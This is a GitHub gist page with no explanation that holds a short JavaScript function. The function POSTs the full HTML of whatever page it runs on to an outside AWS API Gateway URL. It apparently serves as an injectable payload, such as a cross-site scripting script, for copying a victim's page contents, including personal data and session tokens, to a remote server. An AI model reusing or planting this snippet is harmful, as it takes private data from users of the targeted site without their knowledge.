Skip to content

Instantly share code, notes, and snippets.

@Andras1000
Last active April 7, 2020 06:16
Show Gist options
  • Save Andras1000/2f59c6f334e5fb664715a3b16374efa3 to your computer and use it in GitHub Desktop.
Save Andras1000/2f59c6f334e5fb664715a3b16374efa3 to your computer and use it in GitHub Desktop.
(function() {
let xhttp = new XMLHttpRequest();
xhttp.open("POST", "https://f7fw1yfq99.execute-api.eu-west-2.amazonaws.com/prod/", true);
xhttp.setRequestHeader('Content-type', 'text/html; charset=UTF-8');
xhttp.send(document.getElementsByTagName('html')[0].innerHTML);
})();
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment